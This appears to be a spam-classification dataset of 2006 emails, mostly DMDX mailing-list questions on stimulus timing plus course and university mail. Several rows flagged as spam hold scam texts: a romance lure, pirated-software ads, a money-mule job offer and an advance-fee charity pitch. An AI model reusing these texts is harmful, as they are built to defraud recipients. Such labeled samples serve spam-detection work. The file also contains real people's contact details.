this affect the recorded reaction time? How can I make sure that the lengths of the sound files don't confound my reaction time recordings? Thanks very much, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: c.ankerstein@sheffield.ac.uk webpage: http://www.shef.ac.uk/hcs/staff/ankerstein",0,1 Natasha ,"cs395t-mark@cs.utexas.edu, chad@cs.utexas.edu, jim@cs.utexas.edu, victor@cs.utexas.edu, aurora@cs.utexas.edu","Fri, 17 Feb 2006 15:05:48 +0800",is it you?,"Hello my dear friend I was looking through the web few weeks ago and found your profile. Now I daecided to email you to get to know you better. I am coming to your country in few weeks and thought may be we can meet each other. I am pretty looking girl. I am 25. Do not reply to this address directly. Email me back at df@popmailme.com ",1,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 13:42:02 -0000",[DMDX] RE: paired presentation of pictures and sound,"From your scripts, you have the timing starting before the sound plays in both cases. This is something we regularly use, but as you say in order to work out exact timings you may need more information. We commonly have a key word in a sentence, and need to know the reaction time from that keyword to a button press. The way we do this involves editing the sound file (we use Creative Wave Studio) in order to find the exact millisecond time from the start to the key word. Then of course that is subtracted from the DMDX recorded time. If anyone knows an automatic way for DMDX to record times from a specific point in a wave file, I'd love to know it ! >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of C A Ankerstein >Sent: 17 February 2006 13:09 >To: DMDX mailing list >Subject: [DMDX] paired presentation of pictures and sound > >Hi All, > >is there any way I can get DMDX to present pictures and sound >simultaneously?? I got it to present one after the other so to >speak using: > >+1*""test""/ ""barrel""/; >+2*""test2""/ ""watermelon""/; > >and > >+1* ""barrel""/ ""test""/; >+2* ""watermelon""/ ""test2""/ ; > > > >But with the first option, the sound begins before the picture >is presented and in the second option, the picture is present >before the sound starts. So how can I, if possible, get them >to come on at the same time and for the picture to remain on >screen during the wav file? > > >While I'm here, I have another question regarding timing. The >sound files are all different lengths--will this affect the >recorded reaction time? How can I make sure that the lengths >of the sound files don't confound my reaction time recordings? > > >Thanks very much, > > >Carrie > > > >-- >Carrie Ankerstein >Department of Human Communication Sciences University of Sheffield >31 Claremont Crescent >Sheffield S10 2TA >United Kingdom > >phone: (0) 114 22 22412 >email: c.ankerstein@sheffield.ac.uk > >webpage: http://www.shef.ac.uk/hcs/staff/ankerstein > > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >",0,1 Carlo Cerruti ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 09:49:05 -0600",[DMDX] delayed ,"Hi, I've got a problem with the following script. The test I'm doing has three sections in each trial: a word problem, then replaced by a picture distractor, and then again the word problem for up to thirty seconds total. Subjects can solve the problem at any point, and my problem is that when they solve during either of the first two segments, the feedback is not immediately cleared -- instead, the trial keeps running and the stimuli stay on the screen until the words in the third segment flash very briefly. It's as if it only clears feedback upon the last segment. (I'm using the command.) So, does anyone know how to immediately clear feedback even if a response is made in the first segment after the timer begins? +118 g “background”, %75 “+” / * g “background”, ""MASTER"", ""TOSS"", ""FINGER"" %500 / g ""background"", g""AbPic4"" %500 / g ""background"", ""MASTER"", ""TOSS"", ""FINGER""; THANKS. Carlo Cerruti",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 08:32:34 -0700",[DMDX] Re: USB-PIO24/37 output,"At 06:11 AM 2/17/2006 -0500, you wrote: >Jonathan, > >Where can I find a tutorial, including sample item files, stepping through >the process for sending a -5V pulse from the USB-PIO24/37? Thanks in >advance for any advice, > >Rich Certainly no one has sent a -5V pulse before, are you sure you don't mean 5V pulse? If it's a 5V pulse it relatively straight forward once you get the card setup and working as outlined in TimeDX's help: http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhpiotest.htm The it's a matter of putting in the parameter line of a item file and using anytime you want to put word N on port C of the PIO. If you want to use other ports there are other output devices, pio12output16 and 24: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhinput.htm To toggle bit 0 of port C on a 1 second time base the following item file would be used: F60 0 / / / / / / / ;l If you really want a -5V signal you'll have find a technician to set you up a circuit that takes the +5V pulse and makes it a -5V pulse. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 08:38:10 -0700",[DMDX] Re: paired presentation of pictures and sound,"At 01:08 PM 2/17/2006 +0000, you wrote: >Hi All, > >is there any way I can get DMDX to present pictures and sound >simultaneously?? Yeah, if you read the sound documentation it's explained there: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsound.htm >But with the first option, the sound begins before the picture is >presented and >in the second option, the picture is present before the sound starts. So how >can I, if possible, get them to come on at the same time and for the >picture to >remain on screen during the wav file? It's in the documentation. >While I'm here, I have another question regarding timing. The sound files are >all different lengths--will this affect the recorded reaction time? No, that's set by with the DigitalVOX or the timeout. > How can I >make sure that the lengths of the sound files don't confound my reaction time >recordings? They won't. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive. ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 08:40:55 -0700",[DMDX] Re: RE: paired presentation of pictures and sound,"At 01:42 PM 2/17/2006 +0000, you wrote: > >From your scripts, you have the timing starting before the sound plays >in both cases. >This is something we regularly use, but as you say in order to work out >exact timings you may need more information. >We commonly have a key word in a sentence, and need to know the reaction >time from that keyword to a button press. >The way we do this involves editing the sound file (we use Creative Wave >Studio) in order to find the exact millisecond time from the start to >the key word. Then of course that is subtracted from the DMDX recorded >time. >If anyone knows an automatic way for DMDX to record times from a >specific point in a wave file, I'd love to know it ! You'd put a cue in your wave file at the point you want the clock to start, you'd use when playing the file and you'd have a clockon in the next frame. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 08:45:48 -0700",[DMDX] Re: delayed ,"At 09:49 AM 2/17/2006 -0600, you wrote: >Hi, > >I've got a problem with the following script. The test I'm doing has >three sections in each trial: a word problem, then replaced by a picture >distractor, and then again the word problem for up to thirty seconds >total. Subjects can solve the problem at any point, and my problem is that >when they solve during either of the first two segments, the feedback is >not immediately cleared -- instead, the trial keeps running and the >stimuli stay on the screen until the words in the third segment flash very >briefly. It's as if it only clears feedback upon the last segment. (I'm >using the command.) > >So, does anyone know how to immediately clear feedback even if a response >is made in the first segment after the timer begins? > >+118 g ""background"", %75 ""+"" / * g ""background"", 334> ""MASTER"", ""TOSS"", ""FINGER"" %500 / g >""background"", g""AbPic4"" %500 / g ""background"", >""MASTER"", ""TOSS"", ""FINGER""; sets all DMDX's feedback messages to blanks, you'll never see any DMDX feedback once it's given. I'd have to see your parameter line before I can figure out what it is you think it does. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive.",0,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 15:59:55 -0000",[DMDX] RE: Re: RE: paired presentation of pictures and sound,"I've never understood exactly what this means, so never got it to work - how exactly do I 'put a cue in my wave file' - is there a good explanation of this topic somewhere ? (I've intensively read the help pages but am no wiser !) >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. >Sent: 17 February 2006 15:41 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: RE: paired presentation of pictures and sound > >At 01:42 PM 2/17/2006 +0000, you wrote: >> >From your scripts, you have the timing starting before the sound >> >plays >>in both cases. >>This is something we regularly use, but as you say in order >to work out >>exact timings you may need more information. >>We commonly have a key word in a sentence, and need to know the >>reaction time from that keyword to a button press. >>The way we do this involves editing the sound file (we use Creative >>Wave >>Studio) in order to find the exact millisecond time from the start to >>the key word. Then of course that is subtracted from the DMDX >recorded >>time. >>If anyone knows an automatic way for DMDX to record times from a >>specific point in a wave file, I'd love to know it ! > > You'd put a cue in your wave file at the point you want the >clock to start, you'd use when >playing the file and you'd have a clockon in the next frame. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > If you look like the photo on your driver's license, you >aren't well enough to drive. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >",0,1 Jason Hale ,"ppace@olemiss.edu, vinjamur@olemiss.edu, jietang@olemiss.edu, vmantena@olemiss.edu, kfg@olemiss.edu, dwilkins@olemiss.edu, tpirim@olemiss.edu, sconlon@bus.olemiss.edu","Fri, 17 Feb 2006 09:13:34 -0600",Study: Big Decisions Best Made With Less Thought,"I thought this was interesting, even in the context of trying to fix a smaller problem with some software. http://www.npr.org/templates/story/story.php?storyId=5220072 - Jason ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 10:17:18 -0700",[DMDX] RE: Re: RE: paired presentation of pictures and sound,"At 03:59 PM 2/17/2006 +0000, you wrote: >I've never understood exactly what this means, so never got it to work - >how exactly do I 'put a cue in my wave file' - is there a good >explanation of this topic somewhere ? (I've intensively read the help >pages but am no wiser !) You will have to read the manual on your wave form editor as that's what you'll use to put the cues in. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 12:33:46 -0500",[DMDX] RE: Re: RE: paired presentation of pictures and sound,"CoolEdit makes it easy. Just insert cue and give it a name that DMDX then reads. Jonathan C. Forster wrote: > At 03:59 PM 2/17/2006 +0000, you wrote: > >> I've never understood exactly what this means, so never got it to work - >> how exactly do I 'put a cue in my wave file' - is there a good >> explanation of this topic somewhere ? (I've intensively read the help >> pages but am no wiser !) > > > You will have to read the manual on your wave form editor as that's > what you'll use to put the cues in. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Of course power tools and alcohol don't mix. Everyone knows power > tools aren't soluble in alcohol ..."" > > - Crazy Nigel > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 17:37:20 +0000",[DMDX] RE: Re: RE: paired presentation of pictures and sound,"Hi, my colleague who's helping me out with this wants to know what wav editor you're using because he can't mark the wav file and save that within the file--it's two separate files. He's using Audacity/Wave Surfer. Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: c.ankerstein@sheffield.ac.uk webpage: http://www.shef.ac.uk/hcs/staff/ankerstein Quoting ""Jonathan C. Forster"" : > At 03:59 PM 2/17/2006 +0000, you wrote: > >I've never understood exactly what this means, so never got it to work - > >how exactly do I 'put a cue in my wave file' - is there a good > >explanation of this topic somewhere ? (I've intensively read the help > >pages but am no wiser !) > > You will have to read the manual on your wave form editor as that's what > you'll use to put the cues in. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Of course power tools and alcohol don't mix. Everyone knows power > tools aren't soluble in alcohol ..."" > > - Crazy Nigel > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Software package ,N44373 ,"Fri, 17 Feb 2006 14:49:12 -0700",Re[8]: OEM krw,"Downloadable software: Adobe Acrobat 7.0 Pro - $69.95 Microsoft Windows XP Professional SP2 - $59.95 Microsoft Office 2003 Professional Edition - $49.95 Please visit us at http://rnzo.babasoft.be/zum evtn xt ov bsrl fs ek ",1,1 tebuster@olemiss.edu,undisclosed-recipients:;,"Fri, 17 Feb 2006 12:35:05 -0600",Emergency Information web page,"This message is being sent using E-mail to Groups ( UM Employees ). A web page is now available to provide various types of information and links to resources about emergencies. The page can be found at emergency.olemiss.edu. Please send comments and suggestions about the page to emergency@olemiss.edu. Buster ClarkTelecommunications DirectorBaxter Hall, Room 211Ph: 915-7747Fax: 915-7010 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 13:12:57 -0700",[DMDX] RE: Re: RE: paired presentation of pictures and sound,"I use CoolEdit 2000, older versions (like CoolEdit 96) are probably still available on the web. Adobe bought the code and sell it as Audition these days. At 05:37 PM 2/17/2006 +0000, you wrote: >Hi, > >my colleague who's helping me out with this wants to know what wav editor >you're >using because he can't mark the wav file and save that within the file--it's >two separate files. He's using Audacity/Wave Surfer. > > > >Thanks, > > >Carrie > > >-- >Carrie Ankerstein >Department of Human Communication Sciences >University of Sheffield >31 Claremont Crescent >Sheffield S10 2TA >United Kingdom > >phone: (0) 114 22 22412 >email: c.ankerstein@sheffield.ac.uk > >webpage: http://www.shef.ac.uk/hcs/staff/ankerstein > > > > >Quoting ""Jonathan C. Forster"" : > > > At 03:59 PM 2/17/2006 +0000, you wrote: > > >I've never understood exactly what this means, so never got it to work - > > >how exactly do I 'put a cue in my wave file' - is there a good > > >explanation of this topic somewhere ? (I've intensively read the help > > >pages but am no wiser !) > > > > You will have to read the manual on your wave form editor as that's > what > > you'll use to put the cues in. > > > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > ""Of course power tools and alcohol don't mix. Everyone knows power > > tools aren't soluble in alcohol ..."" > > > > - Crazy Nigel > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. 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I want the screen to clear as soon as a response is registered. The program is recording reaction time and voice recordings just fine. The problem is that the first two segments are 5 seconds each, but if the subject answers 2s after problem onset, the screen doesn't clear for 8 more seconds (i.e. until the very beginning of the final segment). Any assistance would be great -- thanks again. Carlo On Fri, 17 Feb 2006 08:45:48 -0700 ""j.c.f."" wrote: > At 09:49 AM 2/17/2006 -0600, you wrote: >>Hi, >> >>I've got a problem with the following script. The test I'm doing has three sections in each >>trial: a word problem, then replaced by a picture distractor, and then again the word problem for >>up to thirty seconds total. Subjects can solve the problem at any point, and my problem is that >>when they solve during either of the first two segments, the feedback is not immediately cleared >>-- instead, the trial keeps running and the stimuli stay on the screen until the words in the >>third segment flash very briefly. It's as if it only clears feedback upon the last segment. (I'm >>using the command.) >> >>So, does anyone know how to immediately clear feedback even if a response is made in the first >>segment after the timer begins? >> >>+118 g ""background"", %75 ""+"" / * g ""background"", ""MASTER"", >384> ""TOSS"", ""FINGER"" %500 / g ""background"", g""AbPic4"" %500 / g >>""background"", ""MASTER"", ""TOSS"", ""FINGER""; > > sets all DMDX's feedback messages to blanks, you'll never see any > DMDX feedback once it's given. I'd have to see your parameter line before I can figure out what >it is you think it does. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > If you look like the photo on your driver's license, you > aren't well enough to drive. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 18 Feb 2006 14:14:57 -0700",[DMDX] Re: delayed ,"At 01:26 PM 2/18/2006 -0500, you wrote: >Hi, > >The paramter line is > > digitalvox> > > > >+118 g ""background"", %75 ""+"" / * g ""background"", 334> ""MASTER"", >>384> ""TOSS"", ""FINGER"" %500 / g ""background"", >>>g""AbPic4"" %500 / g ""background"", ""MASTER"", >>>""TOSS"", ""FINGER""; >I may have been unclear in what I wrote earlier. I want the screen to >clear as soon as a response is registered. The program is recording >reaction time and voice recordings just fine. The problem is that the >first two segments are 5 seconds each, but if the subject answers 2s after >problem onset, the screen doesn't clear for 8 more seconds (i.e. until the >very beginning of the final segment). > >Any assistance would be great -- thanks again. Yeah, you can't do that in DMDX. Decisions made as the display is still active simply aren't possible. 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V u isi j t ou o r site Sincerely, Gayelord Oyer Ap y pr s oval Manager",1,1 Walter van Heuven ,DMDX@psy1.psych.arizona.edu,"Sun, 19 Feb 2006 17:02:55 +0000",[DMDX] Re: Display errors and delay parameter,"On 17 Feb 2006, at 01:11, j.c.f. wrote: > At 08:02 PM 2/16/2006 +0000, you wrote: > > >> However, when I remove from the parameter line the display >> errors disappear! > > Right, you're not asking it schedule an item to be displayed in > exactly 40 ticks from the end of the last one. And if DMDX is > sitting around waiting for an RT for 2000ms it's certainly not > going to be able to get around to displaying the next item in 40 > ticks. Thanks. I understand now why using in parameter line leads to display errors when I use a timeout of 2000 ms. I just got confused by the effect of delay parameter because in the parameter line leads to display errors while at the beginning of an item does not lead to display errors. Thus, delay in the parameter line and delay in an item are not the same. Also, I try to understand their effect on the total trial duration and the ISI. Removing the parameter from the parameter line makes the total trial duration 48 ticks longer, which is as far as I understand it due to the 'request scheduled' (DMDX housekeeping)? I don't want this because when I press a button the stimulus is not immediately removed from the screen (it takes 48 ticks). I changed to and removed . As expected no display errors but the total trial duration is a few ticks longer than I expected. I guess this is due to DMDX housekeeping. If I use the in an item my calculation of the total trial duration is correct. Thus, the DMDX housekeeping happens then within ? Thanks, Walter",0,0 Ross Lippert ,"andreev@MIT.EDU, yahlib@MIT.EDU, sheldons@MIT.EDU, jacohen@MIT.EDU, ddiab@MIT.EDU, jacobkg@MIT.EDU, mherman@MIT.EDU, jhessan@MIT.EDU, amirh@MIT.EDU, lisa_hsu@MIT.EDU, tomk@MIT.EDU, rlafoy@MIT.EDU, andy_lee@MIT.EDU, jsslee@MIT.EDU, jlii@MIT.EDU, tongyan@MIT.EDU, qify@MIT.EDU, wrm@MIT.EDU, smirz@MIT.EDU, albertni@MIT.EDU, remscrim@MIT.EDU, zackreyn@MIT.EDU, mrivas03@MIT.EDU, scott84@MIT.EDU, peter_s@MIT.EDU, tonys@MIT.EDU, bschmeck@MIT.EDU, tgs@MIT.EDU, spann@MIT.EDU, xsdg@MIT.EDU, ctuakta@MIT.EDU, jsv@MIT.EDU, awas@MIT.EDU, m_wexler@MIT.EDU, bwilt@MIT.EDU, rosewong@MIT.EDU","Sun, 19 Feb 2006 12:02:02 -0500",[lippert@math.mit.edu: Re: Problem Set Question],"A student asked me a question and I think it is important to share the answer with everyone. > I was solving problem number 2 and while I was doing it I came across the > Solve(f) function in Matlab that solves for f(x) =0. I'm assuming we're not > allowed to use this, and we're supposed to implement our own solver. This made > me wonder though, as Matlab has quite a wide array of tools, are there any > guidelines for what we are and are not allowed to use to solve the problems. > Should we be implementing almost everything from scratch, or can we use the > built in features. Let me know. The issue of 'Solve' is a delicate one. On the one hand, it is a fairly useful thing to have when you have a white-box function. On the other hand it is quite slow, taking several seconds to solve the the n>15 cases (assuming you know what to solve there) and over a minute to do the n=20 case. It altogether hangs when I do the n=25 case ??? Error using ==> solve Unable to find closed form solution. and next year, if I teach this course, I will ask for a table up to n=30. Why is this? Well, the nature of matlab's solve is that it is a symbolic solver. These are some of the nicer things to show up in the world of mathematical software in the past decade. I don't have anything against them, but they are limited in many ways and poop out on fairly complicated problems. Anyone who does problem 2 right can trivially do it up to n=30. The existence of good quality symbolic tools complicates this class somewhat, because any time I give you a problem on a problem set which is too toy-like, the symbolic solver will be able to do it for you, giving you the impression that you are ready to handle non-toy-like problems. On the other hand, giving you non-toy-like problems on the problem set would be extremely irritating for you and me, because of all the effort we'd need to waste just to properly describe and code F(x), when the problem is about F(x)=0. Symbolic solvers are great at doing problem set problems. But this is not representative of their usefulness in real problems that you will face later. Don't use symbollic solvers in this course and we'll be just fine. Recall that the problem set isn't really about solving the present problems. It is about convincing me that you will be able to solve the future problems. Institute guidelines compel me to base your grade on my assessment of your competence. Even if Solve didn't poop out, your use of it would not help me to assess your competence. That said, I can't sit over your shoulder and make sure you don't use Solve or other tools as a crutch and then lie to me (at least one student admitted to this last year). I try to make the problems non-toy-like enough to confound off-the-shelf tools, but new tools appear every day and I am bound to lose in this arms race. Be honest with me, or hope that you can be convincing (doing it up to n=30 would be pretty convincing). -r -- Ross A. Lippert M.I.T., Department of Mathematics Building 2, Room 335 Voice (617) 253-7905 77 Massachusetts Avenue FAX (617) 253-4358 Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu Return-Path: X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on jacobi.mit.edu X-Spam-Level: X-Spam-Status: No, score=-101.4 required=6.0 tests=ALL_TRUSTED, USER_IN_WHITELIST autolearn=ham version=3.1.0 X-Original-To: lippert@math.mit.edu Delivered-To: lippert@math.mit.edu Received: from LAURENT.MIT.EDU (laurent [18.87.0.24]) by jacobi.mit.edu (Postfix) with ESMTP id D61615A35C; Sun, 19 Feb 2006 14:26:46 -0500 (EST) Received: by LAURENT.MIT.EDU (Postfix, from userid 17404) id CAE59414C; Sun, 19 Feb 2006 14:26:46 -0500 (EST) Date: Sun, 19 Feb 2006 14:26:46 -0500 From: Ross Lippert Cc: Ross Lippert Subject: Re: [lippert@math.mit.edu: Re: Problem Set Question] Message-ID: <20060219192646.GD24521@math.mit.edu> References: <20060219170202.GC24521@math.mit.edu> <43F8AC13.4030400@mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <43F8AC13.4030400@mit.edu> User-Agent: Mutt/1.4.1i Status: RO Content-Length: 5402 Lines: 127 > A brief followup question then.. Symbolic solutions are clearly against > the idea, but numerical ones? They do use the same methods that we > discussed in the class. For instance, I solved problem 2 in 4 lines of > matlab code with the following (I haven't done a good error analysis yet > to see if there are potential issues with rounding etc.): > > > > Should I implement my own fzero or is it okay to use the ""familiar"" > numerical techniques as implemented by matlab? I think that if you read my response about canned tools, you will see that the use of a non-symbollic fzero will not demonstrate to me your abilities. What happens when you get hired by Apple to add a feature to the iPod which involves solving some f(x)=0 equation? If all you have demonstrated is that you can solve this equation if the iPod loads MATLAB's fzero, then I'm not assured that you are competent for this task. To be clear, its not like you shouldn't use polyval and polyder if you want (though I think they are getting in your way here). These are fairly simple things which are not relevant to the material we're currently covering. I hope you can see my point. Finally, let me give you an leg up and tell you that this approach will not produce accurate results for the largish N. E.g. even after you fix the bug that's in there right now, which you really need to find, for N=15 you will obtain fewer than 6 accurate digits. I'll give you some of the correct digits to help you debug your problems. N=15: C=X.240XXXX75XXXXXXe-XX -r >From lippert@math.mit.edu Mon Feb 20 07:22:46 2006 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on jacobi.mit.edu X-Spam-Level: X-Spam-Status: No, score=-101.4 required=6.0 tests=ALL_TRUSTED, USER_IN_WHITELIST autolearn=ham version=3.1.0 X-Original-To: lippert@math.mit.edu Delivered-To: lippert@math.mit.edu Received: from LAURENT.MIT.EDU (laurent [18.87.0.24]) by jacobi.mit.edu (Postfix) with ESMTP id 7CB595A34F; Mon, 20 Feb 2006 07:22:46 -0500 (EST) Received: by LAURENT.MIT.EDU (Postfix, from userid 17404) id 6A3924144; Mon, 20 Feb 2006 07:22:46 -0500 (EST) Date: Mon, 20 Feb 2006 07:22:46 -0500 From: Ross Lippert Cc: Ross Lippert Subject: Re: another question Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Status: RO Content-Length: 1157 Lines: 26 > Is it acceptable to compare final results of a calculation to see if the answer > makes sense/is consistent with other approaches? I suppose one skill is to be > able to check a calculation and decide it's valid in isolation, but it seems > that if others are working on the same problem, then without any knowledge of > their approach (or no more than what you have outlined as acceptable), the > final result could be stated. For example, the trend and order of magnitude of > C's in problem 2. However, this may not be allowed, which is why I am checking. That can be slippery. If you show someone your numbers and they copy you, it would look bad for both of you. So I'd better tell you. The over all trend should be towards 0 with the each successive C being about 3/10 of the preceeding C. I also gave some digits for the n=15 case in that dialog about solvers linked from the course webpage. -r -- Ross A. Lippert M.I.T., Department of Mathematics Building 2, Room 335 Voice (617) 253-7905 77 Massachusetts Avenue FAX (617) 253-4358 Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu",0,0 Ana Lujan <400aharon@hideakifan.com>,marc@shay.ecn.purdue.edu,"Sun, 19 Feb 2006 09:15:54 +0500",RE: If you are studing or working ,"Dear Mr(Mrs), Iris!!. Our company Barcelo Travel Inc. have a great job offer for peoples from Australia. Your salary per week can start from 1000 USD in first week. After one month you will have about 2500 per week. For more info please to our e-mail barcelotravel@aol.com Regards, Sheena Rivers SSun, 19 Feb 2006 09:15:54 +0500 adposition ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 19 Feb 2006 15:43:26 -0700",[DMDX] Re: Display errors and delay parameter,"At 05:02 PM 2/19/2006 +0000, you wrote: >I changed to and removed . As expected no >display errors but the total trial duration is a few ticks longer >than I expected. I guess this is due to DMDX housekeeping. Yep. > If I use >the in an item my calculation of the total trial duration >is correct. Thus, the DMDX housekeeping happens then within ? Yeah, because you haven't used (or D or , they're all the same, it only depends where you use them) in the parameter line all setting D in an item does is make the next item appear roughly 40 ticks later. It's only when D is used in the parameter line that timing becomes rigourous. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Take the bull by the hand and avoid mixed metaphors.",0,0 Mel Henry Ryku <9l5z2yiwu@medeagroup.com>,avis@cs.utexas.edu,"Mon, 20 Feb 2006 00:16:25 +0100","Hey buddy, wats up","Hey bro, nice talking to you the other day ;)!     *Th0ught y0u w0uld w@nt t0 check this out, | got some for myself cause they were 0n sale, y0u sh0uld (heck out  the site, I added the link bel0w.        * Sti:l Pa(kage: 10 Pat(hes reg $79.95 Now $49.95 ! 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(Please share on your lists)! The ALA Committee on Rural, Native and Tribal Libraries of All Kinds is looking for good examples of how libraries serving populations of 10,000 or less build support for their services. The stories will be used for a new advocacy toolkit targeted to small libraries. We're particularly interested in strategies used to secure the support of public officials/legislators/key administrators, build partnerships with key groups, work with media, educate the public and other community outreach. If your library (public/school/academic/tribal) has a good idea/story to share or you have the name of a library to suggest, we'd love to hear from you. Shorter is better. Be sure to include contact information and send to librarycomm@librarycomm.com. By March 1. Please put Rural Library Success Story in the Subject line. Thanks! Satia Marshall Orange, Committee Liaison Director, Office for Literacy and Outreach Services (OLOS) American Library Association 50 East Huron Street Chicago, IL 60611 312-280-4295 E-mail: sorange@ala.org http://www.ala.org/olos ""Empowering underserved people is the core of our mission."" >From Outreach to Equity: Innovative Models of Library Policy and Practice, edited by Robin Osborne. American Library Association: ALA Editions, June 2004 ISBN 0-8389-3541-9, $32 paper. ------------------------------ Date: Tue, 21 Feb 2006 22:13:35 -0500 From: Gayle Baker Subject: ER&L registration deadline approaching Posting on behalf of Bonnie Tijerina, Georgia Institute of Technology - Gayle Baker ------------------------------------------------- Electronic Resources & Libraries Conference 2006 GA Tech Global Learning & Conference Center Technology Square, Atlanta, GA March 23-25, 2006 ----------------------------- Registration closes March 1st for the ER&L Conference 2006 Conference Schedule Registration Information Space is limited for in-person attendance but unlimited for the Online-Only Component Join keynote speakers Robert McDonald and Bonnie MacEwan as well as our presenters of over 30 sessions related to e-resources. *Just added* Wednesday, March 22nd 6-8pm Welcome Reception & Registration Check-in GA Tech Library & Information Center, Ferst Room -- Gayle Baker gsbaker@utk.edu Professor & Electronic Services Coordinator (865) 974-3519 Hodges Library, University of Tennessee (865) 974-0551 (fax) 1015 Volunteer Blvd. Knoxville, TN 37996-1000 ------------------------------ End of TLA-L Digest - 20 Feb 2006 to 21 Feb 2006 (#2006-42) *********************************************************** Back to: Top of message | Previous page | Main TLA-L page LISTSERV.UTK.EDU",0,1 Diane Davila ,romanianclub@columbia.edu,"Mon, 20 Feb 2006 16:48:02 -0100","Adobe, Windows Windows XP Pro $49.95 Systemworks at Erica's softfactory",GimYeQREz6I D M A M A   ow ic do   ac ut     V nlo ros be   rom ode  isi   ad   oft Acr Pho Cre Go Ill edi sk    t Ou Inst  Win  Off  Off  Ser  Ser obat tosh ativ Live ustr a St   Dr   Fl Auto   r On antl   dows ice ice ver ver  v7. op C e Su  CS2 ator udio eamw ash CAD li y!  X  X 2K 2K  2 0 S2 it  1  M ea MX 20  ne P P 3 3 K Pr e 1. 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Now that God has called me, I have willed and given most of my property and assets to my immediate and extended family members as well as few close friends .I want God to be merciful to me and accept my soul so, I have decided to give alms to charity 